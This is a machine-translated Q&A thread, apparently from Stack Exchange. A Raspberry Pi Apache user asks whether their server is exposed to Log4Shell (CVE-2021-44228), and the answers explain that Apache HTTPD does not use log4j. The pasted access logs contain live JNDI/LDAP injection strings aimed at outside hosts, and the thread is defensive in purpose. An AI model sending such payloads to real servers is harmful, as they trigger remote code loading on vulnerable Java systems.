Apache Webserver 是否使用 log4j (CVE-2021-44228)?

gil*_*lex 44 apache2

apache web 服务器 (apache2) 使用 log4j 吗?

我在 Raspberry Pi OS(64 位)上安装了 Apache2 2.4.38(debian),并在日志中发现了一些关于来自(蜜罐/扫描仪)、(离线和恶意?)和(我不知道什么)的CVE-2021-44228的奇怪记录这是)kryptoslogic-cve-2021-44228.comdataastatistics.coma8fvkc.dnslog.cn

我现在应该怎么做?

  • 没什么,因为 apache2 不受 CVE-2021-44228 的影响
  • 格式化所有内容并等待几天,然后再安装修补版本
  • “检查”是否有任何新的 .class 文件以及是否没有继续操作(并使用手动补丁,例如log4j2.formatMsgNoLookups = TRUE
  • 别的东西

日志:

139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [11/Dec/2021:18:35:25 +0100] "GET / HTTP/1.1" 200 5932 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
139.59.99.80 - - [11/Dec/2021:20:13:11 +0100] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 8456 "-" "Kryptos Logic Telltale"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
137.184.106.119 - - [10/Dec/2021:20:38:18 +0100] "GET / HTTP/1.1" 301 568 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:20 +0100] "GET / HTTP/1.1" 200 6576 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:21 +0100] "GET /favicon.ico HTTP/1.1" 200 7103 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
Run Code Online (Sandbox Code Playgroud)

msc*_*ett 82

Apache HTTP Server不是用 Java 编写的,它不使用 log4j 库,因此不受 CVE-2021-44228 的影响。

您的日志文件来自访问日志,它们显示人们扫描 log4j 漏洞。

  • 很高兴看到另一个答案涵盖了 Tomcat。 (2认同)

fra*_*nus 8

Apache 本身不是用 Java 编写的,也没有直接链接臭名昭著的 Log4j 库。它特别安全,不受此漏洞的影响。

那么还有什么可能出错呢?

  1. 并非所有名称和 HTTP 功能中带有 Apache 的东西都是Apache HTTPD服务器。例如,Apache Tomcat 是完全不同的 HTTP Web 服务器。它是用 Java 编写的,并且几乎可以配置为使用 Log4J。我不太确定是否可以在 Tomcat 中以其他方式登录。

经验和知识较少的人完全有可能弄错这两者。而且,据我所知,Tomcat 总体上比“经典”Apache HTTPD 具有更好的安全记录。

(根据 Bob 的评论,Tomcat 中的默认日志记录工具不是 Log4J。)

  1. Apache HTTPD 具有很强的可扩展性。它可以配置为通过各种接口在后台调用其他事物(例如,为了获取以编程方式生成的动态网页)。其中一些“后台事物”可能是基于 java 的并链接到 Log4J 库。

您的情况可能会有所不同,尤其是在您不详细了解您的软件堆栈的情况下。


为了确定这一点,您应该首先检查是否安装了 Java 机器。在你的包管理器中,它的包将被称为 JRE-something、JVM-something 或者可能是 JAVA-something。

您不妨尝试一下:

java版本

在你的壳里。

如果您没有这些,并且您没有在包管理器之外安装 JAVA,那么您是安全的。

一般而言并不安全,但至少可以安全防范 CVE-2021-44228。

  • *> 如果您没有这些,并且没有在包管理器之外安装 JAVA,那么您是安全的。* JRE 的性质及其重新分发方式意味着许多应用程序可以并且将会嵌入它而不是使用它操作系统包管理器(如果存在的话……请参阅 Windows 和 macOS)。仅仅因为您没有自己安装 Java、包管理器或其他方式就假设您没有任何易受攻击的程序,这当然是**不**安全的。这些嵌入式版本通常也不是“PATH”的一部分,因此在 shell 中测试“java”并不能保证安全。 (3认同)
  • *> 我不太确定是否可以在 Tomcat 中以其他方式登录。* 默认情况下,Tomcat 不使用 log4j,除非另有配置。[默认情况下,它通过 Apache Commons Logging 的分支使用 `java.util.logging`。](https://tomcat.apache.org/tomcat-9.0-doc/logging.html) 在 8.0 中 [说明](https: //tomcat.apache.org/tomcat-8.0-doc/logging.html#Using_Log4j)用于切换到 log4j,但这些已[删除](https://tomcat.apache.org/tomcat-8.5-doc/logging .html) 在 8.5 中。 (2认同)